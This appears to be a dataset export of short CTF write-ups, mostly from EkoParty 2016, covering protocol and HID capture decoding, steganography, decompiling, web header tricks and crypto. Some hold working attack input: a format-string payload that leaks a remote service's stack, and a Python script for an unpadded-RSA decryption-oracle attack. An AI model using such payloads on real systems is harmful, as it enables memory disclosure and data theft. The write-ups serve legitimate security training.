text_chunk
stringlengths 151
703k
|
---|
#Knock Knock (for, 125 points, solved by 9)###What are they talking about?
___________________________________________________________
1. Extract an archive. View file "nanunanu".
```;Rate: 1000000;Channels: 50000000a@000000008@50000000a@1700000008@230000000a@2900000008@350000000a@4100000009@480000000b@54..........```
2. We can see a dump. Let's go deeper. First, we can see that every moment we send/receive 1-byte. Using this we can propose possible protocols: it could be RS-232 (UART), USB, 1-Wire, CAN, I2C.
3. Open this file in protocol analyser. I've used [Logic Sniffer](https://www.lxtreme.nl/ols/#download)
4. Possibly it can be [I2C](https://en.wikipedia.org/wiki/I%C2%B2C).
5. I2C interface uses 2 bus: SDA and SCL. If you watch more properly, you can see that Channel 1 is SCL and Channel 0 is SDA.
6. Decode a message from ASCII. Get the flag:
```EKO{oh..icu2}``` |
Problem:My first service I(pwn, 100 points)"Blacky is taking his first steps at C programming for embedded systems, but he makes some mistakes. Retrieve the secret key for access."nc 9a958a70ea8697789e52027dc12d7fe98cad7833.ctf.site 35000Solution:When we netcat into the service (not like we can do anything else because we don't have a binary), we can try typical attack types. Trying to overflow the buffer doesn't lead anywhere though (we'd get a segfault), so this vulnerability does not have to do with a buffer overflow, at least it's very unlikely.The next thing you can think of trying (especially since the question infers the programmer is new), is format string issues. Mistakes such as "printf(variable)" are very common, in-fact I've seen tutorials teach it! It may not seem like a big deal at first glance, but the proper way of doing it would be "printf("%s", variable)" (assuming "variable" is a string). Why is it so bad for the first case? We can inject our own format codes and leak memory!A helpful format string in our case is %08x, as each time we use that it will give us the next 8 bits of memory in a printout. Therefore if we just keep inserting these format strings, we can leak memory further down the stack. If the flag is there we have it. Surely enough it is.If we use "AAAA%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x" as our input, we'll get the following in stdout:Invalid key: AAAA00000000.0000000a.00000000.00000000.00000000.0000000a.00000000.454b4f7b.4c614269.67426566.3072647d.00000000.41414141.25303878.2e253038.782e2530If we go ahead and put that into a hex editor, we can see "454b4f7b4c614269674265663072647d" which converts to "EKO{LaBigBef0rd}" in ASCII.<span>Flag: EKO{LaBigBef0rd}</span> |
<span>Thetask at https://ctf.ekoparty.org/tasks/for/100 allows you to download a textfile. Upon analyzing its content, we noticed this format -> </span>r, -, +, d , u followed by 2characters.<span>Googlingsome lines in the downloaded text file guided us to a mechanical keyboard forum(https://deskthority.net/workshop-f7/xt-at-ps2-terminal-to-usb-converter-with-nkro-t2510-630.html<span>).</span></span><span><span>Readingparts of the forum thread convinced us that the attached file maybe a hid_listen(utility) output. The nextchallenge is to convert its content into a more sensible one - which lead us toanother guide (</span>https://www.reddit.com/r/MechanicalKeyboards/comments/2o25pm/simplified_instructions_for_programming_teensy/<span>). The image below describes the conversion process:</span></span><span>Withthese clues on hand, we're able to extract the flag from the text file. The flag is EKO{holapianola}:</span><span> </span> |
## Hacker in Disguise - Forensics 100 Problem
### DescriptionWe have captured these codes in a secret communication, please tell us its meaning.
### OverviewThe given file is a capture of a HID (Human Interface Device), particularly a USB keyboard. With a HID code set/mapping,we can translate the HID capture to actual keypresses, which ends up being the typed-out flag.
### SolutionWe're given a file called **TIC.txt**. To anyone unfamiliar with USB HID captures, it's really hard to figure out whereto even start with this problem.
After a lot of searching with different text in the given file, we might find something like https://deskthority.net/workshop-f7/xt-at-ps2-terminal-to-usb-converter-with-nkro-t2510-270.html or https://www.reddit.com/r/MechanicalKeyboards/comments/2o25pm/simplified_instructions_for_programming_teensy/.We can figure out from this that this is perhaps a capture of a USB keyboard, with the different lines being keypressesthat we need to decode.
Some HID USB keyboard code sets/mappings we could use include the following:* [Soarer's Converter documentation (docs > codes)](https://geekhack.org/index.php?topic=17458.0)* [TMK HID code set definition file](https://github.com/tmk/tmk_core/blob/master/common/keycode.h)* [TMK keycode symbol table](https://github.com/tmk/tmk_core/blob/master/doc/keycode.txt)
Pretty much, anytime you see a +<hexByte>, the key corresponding to <hexByte> is pressed down. Similarly, anytime you seea -<hexByte>, the key corresponding to <hexByte> is released. -<hexByte> can be important when keys like SHIFT are pressed,as it might make the difference between lower/uppercase letters and different symbols.
Decoding TIC.txt, we get the following keypresses. Note that something like <LSHIFT-down> indicates LSHIFT being presseddown and <LSHIFT-up> indicates LSHIFT being released."this is your flag <RSHIFT-down>EKO<RSHIFT-up><LSHIFT-down>{<LSHIFT-up>holapianola<LSHIFT-down>}<LSHIFT-up><LCTRL-up>c"
From this we get our flag, **EKO{holapianola}**. |
## Certified Excel Hacker - Forensics 50 Problem
### Description
Can you wait for the answer?
### Overview
The given file, CALCULATOR.xlsm, appears to have a single worksheet named FORM that runs VBA script when the CALCULATE button is pressed. One can go through the trouble of unlocking the VBA and reversing the code, but it's a red herring. The actual answer is in a locked and hidden worksheet named ANSWER, where the flag is written out by coloring the cells.
### Correct Method
If you happen to look at Excel spreadsheet info for CALCULATOR.xlsm, you may notice that there are two spreadsheets - FORM and ANSWER - which are both protected. ANSWER doesn't appear in the workbook to begin with, so it's also hidden.
We can unprotect the worksheets in CALCULATOR.xlsm with any unprotect tool (I used https://excel.xartifex.com/). In Microsoft Excel, you can then open up the unprotected CALCULATOR.xlsm, go to Format > Hide & Unhide > Unhide Sheet... and unhide the ANSWER worksheet. The letters for the flag are made up of cells with black backgrounds.
**EKO{HIDDEN_SHEET_123}**
### The Other Rabbit Hole
If you're interested in what happens with the red herring of the VBA script on the FORM worksheet, you can read the following.
FORM's VBA code is also protected. You can easily unprotect it with the following method: http://stackoverflow.com/questions/1026483/is-there-a-way-to-crack-the-password-on-an-excel-vba-project. We then get the following VBA code:
```vbaSub CALCULATE() Dim z57fbbe9a55b7e76e8772bb12c27d0537, NOT_ANSWER NOT_ANSWER = "NOTNOTNOTNOTNOTNOTNOTNOTNOTNOTNOTNOT" For z57fbbe9a55b7e76e8772bb12c27d0537 = 1 To 16777216 answer = bfd9aaddb34d3018d0842fe01cd876ce2(answer) Next z57fbbe9a55b7e76e8772bb12c27d0537 Hoja1.NOT_ANSWER.Text = "EKO{" + Replace(answer, "=", "") + "}" End Sub Public Function bfd9aaddb34d3018d0842fe01cd876ce2(ByVal sTextToHash As String) Dim b5d3ce0d93bdc39075041314952e56a03 As Object, be07792f9d366fe5e26844e720f7fd830 As Object Dim TextToHash() As Byte Set b5d3ce0d93bdc39075041314952e56a03 = CreateObject("System.Text.UTF8Encoding") Set be07792f9d366fe5e26844e720f7fd830 = CreateObject("System.Security.Cryptography.SHA1CryptoServiceProvider") TextToHash = b5d3ce0d93bdc39075041314952e56a03.Getbytes_4(sTextToHash) Dim bytes() As Byte bytes = be07792f9d366fe5e26844e720f7fd830.ComputeHash_2((TextToHash)) bfd9aaddb34d3018d0842fe01cd876ce2 = bbdc49a038db5a02827fb9a3373d77989(bytes) Set b5d3ce0d93bdc39075041314952e56a03 = Nothing Set be07792f9d366fe5e26844e720f7fd830 = Nothing End Function Private Function bbdc49a038db5a02827fb9a3373d77989(ByRef arrData() As Byte) As String Dim bc5197ca332c6a81c0e410b8010ffd7c1 Dim bde1a23ed20269f4573007d67e676a5e1 Set bc5197ca332c6a81c0e410b8010ffd7c1 = CreateObject("MSXML2.DOMDocument") Set bde1a23ed20269f4573007d67e676a5e1 = bc5197ca332c6a81c0e410b8010ffd7c1.createElement("b64") bde1a23ed20269f4573007d67e676a5e1.DataType = "bin.base64" bde1a23ed20269f4573007d67e676a5e1.nodeTypedValue = arrData bbdc49a038db5a02827fb9a3373d77989 = bde1a23ed20269f4573007d67e676a5e1.Text Set bde1a23ed20269f4573007d67e676a5e1 = Nothing Set bc5197ca332c6a81c0e410b8010ffd7c1 = Nothing End Function```
So quickly looking over this, it looks like we repetitively (16777216 times) take answer, and set the answer to the base 64-encoded SHA1 hash of answer. The false_solve.py script solves this. The result was EKO{DCEUslnl7DeiLWSdCLi0l1fxdc8}, but it was just a false lead. |
# Lockpicking (for, 350 points, solved by 4)
## Challenge
> You've been chosen to rig the ballots in favor of your candidate.> You find the box, but it's locked with an indestructible padlock.> Your only hope is to pick the lock!> You'll need these tools to get the job done. Good luck ;)>> [lockpick](./lockpicking.ec95daebcc116c7f27e892d61a1333372e8903a039267e083a857a41deb37070.png)>> ```I found these keys, but they still don't open the padlock :( These lockpicks are starting to seem pretty insignificant```> > author's irc nick: krx
## Solution
The png provided is very large, odds are it is holding some data!
``` bash$ binwalk lockpicking*.png
DECIMAL HEX DESCRIPTION-------------------------------------------------------------------------------------------------------0 0x0 PNG image, 1692 x 672, 8-bit/color RGB, non-interlaced42004142 0x280EEAE PNG image, 970 x 450, 8-bit/color RGB, non-interlaced```
There are two images, but it is very suspicious that the first one is around 40MB.Let's try to find the end of the first png.

Right after the end of the PNG (`IEND\xAE\x42\x60\x82`), there seems to be a slighty incorrect 7z file header (`7z\xBC\xAF\x27\x1C`).We can correct the header and extract all three files:``` bash# Check offsets in the file$ binwalk lockpicking_fixed.png
DECIMAL HEX DESCRIPTION-------------------------------------------------------------------------------------------------------0 0x0 PNG image, 1692 x 672, 8-bit/color RGB, non-interlaced1335205 0x145FA5 7-zip archive data, version 0.442004142 0x280EEAE PNG image, 970 x 450, 8-bit/color RGB, non-interlaced# Extract each file$ dd if=./lockpicking_fixed.png of=./lockpicks.png bs=1 count=1335205$ dd if=./lockpicking_fixed.png of=./archive.7z bs=1 skip=1335205 count=40668937$ dd if=./lockpicking_fixed.png of=./keys.png bs=1 skip=42004142```
It is not over yet, however.The 7zip archive is password protected.We can find the password in the blue LSB of lockpicks.png with stegsolve.

We extract the 7z file using the password from the first png, only to be confronted with another file, S3CR3T.``` bash$ file S3CR3TS3CR3T: ISO Media, MPEG v4 system, version 1```
It is a video, and watching it does not reveal a key.But I have a [hunch](http://keyj.emphy.de/real-steganography-with-truecrypt/) something must be hidden in it.We have yet to use the second png, an image of keys, so let's try something with that.``` bash$ mkdir secret_contents$ sudo truecrypt -t -p "" -k keys.png --protect-hidden=no S3CR3T secret_contents$ ls -al secret_contents/drwx------ 4 vagrant vagrant 16384 Jan 1 1970 .drwxrwxrwx 1 vagrant vagrant 4096 Nov 6 23:00 ..-rwx------ 1 vagrant vagrant 42 Oct 23 05:32 flag.txtdrwx------ 2 vagrant vagrant 1024 Apr 19 2016 $RECYCLE.BINdrwx------ 2 vagrant vagrant 1024 Apr 19 2016 System Volume Information$ cat secret_contents/flag.txtflag{p4dl0ck5_us3_A3S_n0w4d4ys_wh0_kn3w}```
Flag: flag{p4dl0ck5_us3_A3S_n0w4d4ys_wh0_kn3w} |
Problem:<span>JVM</span>(rev, 25 points)"Bytecodes everywhere, reverse them."Attachmentrev25_3100aa76fca4432f.zipSolution:In the zip file there was a .class file. It can be immediately recognized that this is a Java .class file (the name of the challenge "JVM" is also a hint as it stands for "Java Virtual Machine"), and while the .class file is just the binary, Java (like C# or VB.NET) can easily be decompiled because of how highly detailed the bytecode is. Pop this into a decompiler such as http://www.javadecompilers.com/, and we'll get the following source:public class EKO { public static void main(String[] arrstring) { int n = 0; for (int i = 0; i < 1337; ++i) { n += i; } String string = "EKO{" + n + "}"; }}If we run the source, we'll get our flag.<span>Flag: EKO{893116}</span> |
# DaaS (crypto 50)
###ENG[PL](#pl-version)
In the task we get the address of the remote service and the [source code](DaaS.py).We also get a file with RSA-encrypted flag.
```flag = 0xc18b1d3b892e29863d8a6b46059995173635a3fd9f2ad877143a2d14ee736d8b12f9e735d6877a553312101eb757a0e3b3795bea88f2b4f72d1eb47ef6062a0dfd659892dfb2b98c70406e0c3e5e8624e81622b772d9e4183a29c9bf2f10ef15de3bfcb112a5f76688a146466db5a8e2dfe6679806c8e0b244458296efcba450```
The remote service can perform RSA-decode for any input we want, apart from the flag itself.
The RSA implementation is not using any padding, and therefore it is homomorphic, which is what we use to break the encryption.Homomorphic property means in this case that `rsa_encrypt(a*b) = rsa_encrypt(a)*rsa_encrypt(b)` and the same goes for decrypt, since both are doing exactly the same mathematical operation - modular power.
RSA encryption is `ciphertext = plaintext^e (mod n)` and decryption is `plaintext = ciphertext^d (mod n)`.
We cannot ask the server to decrypt the flag for us, but we can ask it to decrypt `int(flag)/2`, which means we will get the value `enc_flag_2 = (enc_flag/2)^d (mod n)`.We can then ask the server to decrypt value `2` for us, which means we will get `two = 2^d (mod n)`
Now if we simply multiply those numbers (mod n) we will get:
`enc_flag_2 * two = (enc_flag/2)^d (mod n) * 2^d (mod n) = ((enc_flag/2)^d * 2^d) mod n = enc_flag^d mod n = flag`
So we just sent `flag/2` and `2` as inputs and then recovered flag with:
```pythondef long_to_bytes(data): data = str(hex(data))[2:-1] return "".join([chr(int(data[i:i + 2], 16)) for i in range(0, len(data), 2)])
n = 0xcd67fc599866f87bc45ff87c1634aa144ee257c963ab2541052f3b38d22a11b255b0dd9318153699664b1007b7f38118df77f703909888c3930b73221c57828fc423a643b1eaf47f03d6c24b11d907f979dae4aa47347959c7c77bda8f9804dd95cc438d75ced522c7391a5d1432978440bfacc9939a33d6e6e058b15a084f99enc_flag_2 = 0x120643f13ec8942b09296bb1e08c3b1608804771815e7a138560e6e5801cae4c073d5f88f3ced989743818a91290f3772614462f3fa6af7cdf5b534ccb031124656117714f7ae602016b9bd732f366be53c59501d393caba6fb12e38b5e55ffc57ccbb4ce3c7a3e2d344cf2a7e487d45c4e0c76e0cf5e8846efdce0955f81930two = 0x3a997500f5c2e8cb21996f73cc3d05f58a8f6003fa2e97481dc09f04517ffbf6ef6585f415cb2ea95449ab7ced07443e1b330deeed169bb3d88088167a37434cf1d39ce5b639c1b99a18279f26b8f2e197c0a94a291a6d2efb42adf27d082791be6e589e62dfbc85afc882996a4a68d474f0c334ef29b5a953ec4fbcff52bd38
print(long_to_bytes((enc_flag_2 * two) % n))
```
Which gave `ECTF{Good job! You broke RSA!}`
###PL version
W zadaniu dostajemy adres zdalnego serwera oraz [kod źródłowy](DaaS.py).Dostajemy także plik z flagą zaszyfrowaną za pomocą RSA.
```flag = 0xc18b1d3b892e29863d8a6b46059995173635a3fd9f2ad877143a2d14ee736d8b12f9e735d6877a553312101eb757a0e3b3795bea88f2b4f72d1eb47ef6062a0dfd659892dfb2b98c70406e0c3e5e8624e81622b772d9e4183a29c9bf2f10ef15de3bfcb112a5f76688a146466db5a8e2dfe6679806c8e0b244458296efcba450```
Serwer pozwala zdekodować za pomocą RSA dowolne dane, oprócz samej flagi.
Implementacja RSA nie używa paddingu, co oznacza że operacje są homomorficzne, co pozwala nam na złamanie szyfrowania.Homomorfizm w tym kontekście oznacza, że `rsa_encrypt(a*b) = rsa_encrypt(a)*rsa_encrypt(b)` i analogicznie dla operacji deszyfrowania, ponieważ obie funkcje realizują tą samą operacje matematyczną - potęgowanie modularne.
Szyfrowanie RSA to `ciphertext = plaintext^e (mod n)` a deszyfrowanie `plaintext = ciphertext^d (mod n)`.
Nie możemy poprosić serwra o deszyfrowanie flagi, ale możemy poprosić o deszyfrowanie `int(flag)/2`, co oznacza że dostaniemy wartość `enc_flag_2 = (enc_flag/2)^d (mod n)`.Teraz możemy poprosić serwer o dekodowanie wartości `2`, co oznacza że dostaniemy `two = 2^d (mod n)`.
Teraz jeśli pomnożymy te liczby (mod n) dostaniemy:
`enc_flag_2 * two = (enc_flag/2)^d (mod n) * 2^d (mod n) = ((enc_flag/2)^d * 2^d) mod n = enc_flag^d mod n = flag`
Więc wysyłamy do serwera `flag/2` oraz `2` a następnie odzyskujemy flagę przez:
```pythondef long_to_bytes(data): data = str(hex(data))[2:-1] return "".join([chr(int(data[i:i + 2], 16)) for i in range(0, len(data), 2)])
n = 0xcd67fc599866f87bc45ff87c1634aa144ee257c963ab2541052f3b38d22a11b255b0dd9318153699664b1007b7f38118df77f703909888c3930b73221c57828fc423a643b1eaf47f03d6c24b11d907f979dae4aa47347959c7c77bda8f9804dd95cc438d75ced522c7391a5d1432978440bfacc9939a33d6e6e058b15a084f99enc_flag_2 = 0x120643f13ec8942b09296bb1e08c3b1608804771815e7a138560e6e5801cae4c073d5f88f3ced989743818a91290f3772614462f3fa6af7cdf5b534ccb031124656117714f7ae602016b9bd732f366be53c59501d393caba6fb12e38b5e55ffc57ccbb4ce3c7a3e2d344cf2a7e487d45c4e0c76e0cf5e8846efdce0955f81930two = 0x3a997500f5c2e8cb21996f73cc3d05f58a8f6003fa2e97481dc09f04517ffbf6ef6585f415cb2ea95449ab7ced07443e1b330deeed169bb3d88088167a37434cf1d39ce5b639c1b99a18279f26b8f2e197c0a94a291a6d2efb42adf27d082791be6e589e62dfbc85afc882996a4a68d474f0c334ef29b5a953ec4fbcff52bd38
print(long_to_bytes((enc_flag_2 * two) % n))
```
Co daje nam `ECTF{Good job! You broke RSA!}` |
__crypto50 :: TOPKEK__===========================
_John Hammond_ | _Sunday, November 6th, 2016_
> A CNN reporter had only one question that she couldn't get off her mind
> Do we even know, who is this 4 CHAN???
> So she set out to find who this 400lb hacker is. During her investigation, she came across this cryptic message on some politically incorrect forum online, can you figure out what it means?
> [kek](kek.txt)
> author's irc nick: krx
-----------------------------------
The challenge prompt didn't seem too have _too_ much to do with the actual challenge (except for the [repeated clips](https://www.youtube.com/watch?v=kRcdmbC0HHs) probably referring to the repeated bit).
I downloaded the file, and we assumed that each `KEK` or `TOP` meant either a zero or a one, like for [binary]. The exclamation-points `!` we just kind of assumed would be a number indicating _how_ many ones or zeros were there, like a multiplier.
Here is the quick [Python] code I wrote to crank it out:
``` python#!/usr/bin/env python# -*- coding: utf-8 -*-# @Author: john# @Date: 2016-11-05 12:15:29# @Last Modified by: john# @Last Modified time: 2016-11-05 12:33:58
handle = open("kek.txt")contents = handle.read()handle.close()
import binascii
things = contents.split()# print things
new = []for thing in things: if "KEK" in thing: character = "0" else: character = "1"
number = thing.count('!') new.append( character * number )
end = "".join(new)
print "".join([ chr(int(end[i:i+8],2)) for i in range(0,len(end), 8) ])```
The flag is displayed as: __`flag{T0o0o0o0o0P______1m_h4V1nG_FuN_r1gHt_n0W_4R3_y0u_h4v1ng_fun______K3K!!!}`__
[CTF]: https://en.wikipedia.org/wiki/Capture_the_flag#Computer_security[Cyberstakes]: https://cyberstakesonline.com/[OverTheWire]: http://overthewire.org/[ctftime.org]: http://ctftime.org[SECCON 2015 Online CTF]: https://ctftime.org/event/274[SECCON]: http://ctf.seccon.jp/[32C3 CTF]: https://ctftime.org/event/278[32C3]: https://32c3ctf.ccc.ac/[EKOPARTY 2016 CTF]: https://ctftime.org/event/342[robots.txt]: http://www.robotstxt.org/[URL]: https://en.wikipedia.org/wiki/Uniform_Resource_Locator[nikto]: http://sectools.org/tool/nikto/[Netcraft]: https://www.netcraft.com/[CSS]: https://en.wikipedia.org/wiki/Cascading_Style_Sheets[Tor Browser]: https://www.torproject.org/projects/torbrowser.html.en[Tor]: https://www.torproject.org/projects/torbrowser.html.en[64-bit]: https://en.wikipedia.org/wiki/64-bit_computing[Linux]: https://en.wikipedia.org/wiki/Linux[HTML]: https://en.wikipedia.org/wiki/HTML[Firefox]: https://www.mozilla.org/en-US/firefox/new/[Chromium]: https://en.wikipedia.org/wiki/Chromium_(web_browser)[Google]: https://www.google.com/[Googled]: https://www.google.com/[Googling]: https://www.google.com/[Stack Overflow]: http://stackoverflow.com/[Bootstrap]: http://getbootstrap.com/[404]: https://en.wikipedia.org/wiki/HTTP_404[nginx]: https://www.nginx.com/[IRC]:https://en.wikipedia.org/wiki/Internet_Relay_Chat[javascript]: https://en.wikipedia.org/wiki/JavaScript[Firebug]: http://getfirebug.com/[HTTP]: https://en.wikipedia.org/wiki/Hypertext_Transfer_Protocol[GET]: http://www.w3schools.com/TAgs/ref_httpmethods.asp[Content-Type]: https://www.w3.org/Protocols/rfc1341/4_Content-Type.html[JPEG]: https://en.wikipedia.org/wiki/JPEG[JPG]: https://en.wikipedia.org/wiki/JPEG[CSS]: https://en.wikipedia.org/wiki/Cascading_Style_Sheets[curl]: https://curl.haxx.se/[RFC 5988]: https://tools.ietf.org/html/rfc5988[PIL]: http://www.pythonware.com/products/pil/[Python image Library]: http://www.pythonware.com/products/pil/[Python imaging Library]: http://www.pythonware.com/products/pil/[binary]: https://en.wikipedia.org/wiki/Binary_number[Python]: https://www.python.org/ |
Running this file gives us an output:`Poor Bernie.`
Looking at the main function we can see that this is really all it does:```0000000000400b3d <main>: 400b3d: 55 push rbp 400b3e: 48 89 e5 mov rbp,rsp 400b41: 48 83 ec 10 sub rsp,0x10 400b45: 89 7d fc mov DWORD PTR [rbp-0x4],edi 400b48: 48 89 75 f0 mov QWORD PTR [rbp-0x10],rsi 400b4c: bf 11 0c 40 00 mov edi,0x400c11 400b51: e8 8a f9 ff ff call 4004e0 <puts@plt> 400b56: b8 00 00 00 00 mov eax,0x0 400b5b: c9 leave 400b5c: c3 ret 400b5d: 90 nop 400b5e: 90 nop 400b5f: 90 nop``` Besides the main function, there are a few functions which will never be called : "help", "fake_help", "real_help", "don't_call_me" and also c1, c1_, c2, c3, c4, c5, c8 and c55. calling these functions using gdb reveals that most of them are using ``` mov rbx, m0 call rbx```which gives us a Segmentaion fault. "real_help" also has an interesting string printed :
```Leonardo De Pisa? Who's that–The next president?```Leonardo De Pisa is Fibonacci's real name - which immediately clicks with the "c" functionsbut calling c1, c1_, c2, c3, c5, c8 in succesion will result in a segmentation fault for the above reason.
c55 contains an infinite loop, but if it's condition were to be false we would replace `m0` with `0x400520` (malloc) ```0000000000400a3a <c55>: 400a3a: 55 push rbp 400a3b: 48 89 e5 mov rbp,rsp 400a3e: 48 83 ec 10 sub rsp,0x10 400a42: c7 45 fc 00 00 00 00 mov DWORD PTR [rbp-0x4],0x0 400a49: eb 19 jmp 400a64 <c55+0x2a> 400a4b: b8 00 00 00 00 mov eax,0x0 400a50: e8 d3 fd ff ff call 400828 <c4> 400a55: bf 64 00 00 00 mov edi,0x64 400a5a: b8 00 00 00 00 mov eax,0x0 400a5f: e8 cc fa ff ff call 400530 <usleep@plt> 400a64: 83 7d fc 0e cmp DWORD PTR [rbp-0x4],0xe 400a68: 7e e1 jle 400a4b <c55+0x11> 400a6a: 48 c7 05 f3 08 20 00 mov QWORD PTR [rip+0x2008f3],0x400520 # 601368 <m0> 400a71: 20 05 40 00 400a75: c9 leave 400a76: c3 ret ``` so, by calling c55 first, but changing jle to jg we will change m0 to malloc and then we get the string:
`flag{write_in_bernie!}`
This can be done with a .gdbinit file:```define push set $rsp -= 8 set *(long*)$rsp = $arg0end
b mainrpush c8push c5push c3push c2push c1_push c1
set $rip = c55set *(char*) 0x400a68 = 0x7fc``` |
__web100 :: Sander's Fan Club__===========================
_John Hammond_ | _Sunday, November 6th, 2016_
> Those deplorable Sanders supporters are still fighting. Shut the site down by finding where the idiot stored his credentials.>> [http://sandersfanclub.pwn.democrat](http://sandersfanclub.pwn.democrat)>> author's irc nick: Lense
-----------------------------------
The challenge prompt explains that we need to find credentials.
They gave us a [URL], so I went ahead and navigated to it.

It had a simple webpage, with a description giving us some clues: "This site is still a work in progress. It only works in Firefox I think. I'm not very good at webdev, so I just copied and pasted a bunch of config files from StackOverflow."
Thankfully I am running [Firefox], so I guess I was good -- I tried to look at the website in other browsers like [Chromium], but I couldn't see any outright changes.
I tried [Googling] around [Stack Overflow] for common or example config files for things like [Bootstrap] or web server/development stuff, but didn't have any luck with that.
I tried the low-hanging fruit, like scanning it with [Netcraft] or checking for a [`robots.txt`][robots.txt] file. When I tried the [`robots.txt`][robots.txt] file I got a [404] which tipped off that the web server was using [nginx]. That help me try and narrow down the scope for the [Stack Overflow] searches, but that was a rabbit hole anyway.
After lurking around the [IRC] channel for a good while, the admin confirmed that the flag _was_ on the website itself, you didn't have to go digging through [Stack Overflow].
While I was going through the low-hanging fruit checklist I had ran [`nikto`][nikto], and that had a peculiar result.
```$ nikto -h "http://sandersfanclub.pwn.democrat/"- Nikto v2.1.5---------------------------------------------------------------------------+ Target IP: 52.205.233.191+ Target Hostname: sandersfanclub.pwn.democrat+ Target Port: 80+ Start Time: 2016-11-06 18:34:30 (GMT-5)---------------------------------------------------------------------------+ Server: nginx/1.10.0 (Ubuntu)+ Server leaks inodes via ETags, header found with file /, fields: 0x581a7f27 0x79f + The anti-clickjacking X-Frame-Options header is not present.+ Uncommon header 'link' found, with contents: <flag2.jpg>;rel=stylesheet```
That last line, `Uncommon header 'link' found, with contents: <flag2.jpg>;rel=stylesheet` was really weird, I had never seen that before. It apparently had some weird beef with the `flag2.jpg` file. Admittedly, I should have [Googled] more about this "Link" header because I'm sure that would have led me to a solution much faster... but I had just breezed right by it. I just noted that the `flag2.jpg` was weird for some reason.
-------------
Back on the website I tried some more poking around, looking at [HTML] source and what the page really does. The "Login" page is just a simple password input text box, but according to the source it was just some [JavaScript] that tells me that the flag is the password.
Since I was exploring the [HTML] and the source, I was using [Firebug], the [Firefox] plugin to help debug and troubleshoot [HTML] and [JavaScript] and stuff. At one point I was reviewing the network traffic (the [HTTP][HTTP] [GET] methods and all), and I saw something really odd.

It looked like the `flag2.jpg` image was being retried _twice_... once early, and once again, with the other `flag1.jpg` image. Super weird, right?
I took a look at the first [GET] in [Firebug].

It looked like it was being received with the [Content-Type] header being set to `text/css`. __Wtf?__ A [JPG] image is not a [CSS] stylesheet. I right clicked on it and copied the [`curl`][curl] command, to see how it is done in raw text.
```$ curl 'http://sandersfanclub.pwn.democrat/flag2.jpg' -H 'Accept: text/css,*/*;q=0.1' -H 'Accept-Encoding: gzip, deflate' -H 'Accept-Language: en-US,en;q=0.5' -H 'Connection: keep-alive' -H 'Host: sandersfanclub.pwn.democrat' -H 'Referer: http://sandersfanclub.pwn.democrat/' -H 'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:49.0) Gecko/20100101 Firefox/49.0'```
At the end of the output, we can see this [CSS] comment...
```/* * How did I... Nevermind. I'm pretty sure my creds are in a text file */```
Aha! That's a lead, we must be doing _something_ right.
So now we need a text file? I poked around, trying files like `flag2.txt` or other nonsense like that.... but eventually, I realized:
if the [Content-Type] header was originally a `text/css` file, which was weird to begin with, what would it be as a raw and plain text file, with the [Content-Type] as `text/plain`?
We changed this with the `Accept:` header that we can see in the [`curl`][curl] command.
```$ curl 'http://sandersfanclub.pwn.democrat/flag2.jpg' -H 'Accept: text/plain,*/*;q=0.1' -H 'Accept-Encoding: gzip, deflate' -H 'Accept-Language: en-US,en;q=0.5' -H 'Connection: keep-alive' -H 'Host: sandersfanclub.pwn.democrat' -H 'Referer: http://sandersfanclub.pwn.democrat/' -H 'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:49.0) Gecko/20100101 Firefox/49.0'```
And we get:
```Password reminder: flag{I_am_very_bad_with_computers}(Go tell chrome devs to support RFC 5988 Firefox masterrace)```
There is our flag! __`flag{I_am_very_bad_with_computers}`__
The note here mentions [RFC 5988], which apparently adds support for that "Link" header that [`nikto`][nikto] found and what I guess allows this functionality to happen, sending a `flag2.jpg` [JPG] image as something else, like a [CSS] stylesheet.
If I had [Googled] that message from [`nikto`][nikto] earlier, I may have been able to solve this sooner. Regardless, a flag is a flag!
[CTF]: https://en.wikipedia.org/wiki/Capture_the_flag#Computer_security[Cyberstakes]: https://cyberstakesonline.com/[OverTheWire]: http://overthewire.org/[ctftime.org]: http://ctftime.org[SECCON 2015 Online CTF]: https://ctftime.org/event/274[SECCON]: http://ctf.seccon.jp/[32C3 CTF]: https://ctftime.org/event/278[32C3]: https://32c3ctf.ccc.ac/[EKOPARTY 2016 CTF]: https://ctftime.org/event/342[robots.txt]: http://www.robotstxt.org/[URL]: https://en.wikipedia.org/wiki/Uniform_Resource_Locator[nikto]: http://sectools.org/tool/nikto/[Netcraft]: https://www.netcraft.com/[CSS]: https://en.wikipedia.org/wiki/Cascading_Style_Sheets[Tor Browser]: https://www.torproject.org/projects/torbrowser.html.en[Tor]: https://www.torproject.org/projects/torbrowser.html.en[64-bit]: https://en.wikipedia.org/wiki/64-bit_computing[Linux]: https://en.wikipedia.org/wiki/Linux[HTML]: https://en.wikipedia.org/wiki/HTML[Firefox]: https://www.mozilla.org/en-US/firefox/new/[Chromium]: https://en.wikipedia.org/wiki/Chromium_(web_browser)[Google]: https://www.google.com/[Googled]: https://www.google.com/[Googling]: https://www.google.com/[Stack Overflow]: http://stackoverflow.com/[Bootstrap]: http://getbootstrap.com/[404]: https://en.wikipedia.org/wiki/HTTP_404[nginx]: https://www.nginx.com/[IRC]:https://en.wikipedia.org/wiki/Internet_Relay_Chat[javascript]: https://en.wikipedia.org/wiki/JavaScript[Firebug]: http://getfirebug.com/[HTTP]: https://en.wikipedia.org/wiki/Hypertext_Transfer_Protocol[GET]: http://www.w3schools.com/TAgs/ref_httpmethods.asp[Content-Type]: https://www.w3.org/Protocols/rfc1341/4_Content-Type.html[JPEG]: https://en.wikipedia.org/wiki/JPEG[JPG]: https://en.wikipedia.org/wiki/JPEG[CSS]: https://en.wikipedia.org/wiki/Cascading_Style_Sheets[curl]: https://curl.haxx.se/[RFC 5988]: https://tools.ietf.org/html/rfc5988 |
Problem:RFC 7230(web, 50 points)"Get just basic information from this server (ctf.ekoparty.org)"Solution:RFC 7230 is an immediate hint as it refers to the HTTP protocol, so this challenge is definitely something to do with HTTP headers. There are quite a few HTTP methods though, such as the common "GET", "POST", and "HEAD". My immediate thought was the HEAD method, however this lead nowhere. There is however one that I hadn't considered for a while that was a bit obscure, which was the "OPTIONS" header. Sending an OPTIONS header request to the server via curl, we can see our flag in the response.curl -i -X OPTIONS http://ctf.ekoparty.org/HTTP/1.1 301 Moved PermanentlyServer: EKO{this_is_my_great_server}Date: Fri, 28 Oct 2016 03:44:02 GMTContent-Type: text/htmlContent-Length: 178Connection: keep-aliveLocation: https://ctf.ekoparty.org/Flag: EKO{this_is_my_great_server} |
# Angry Seam (500 pts)

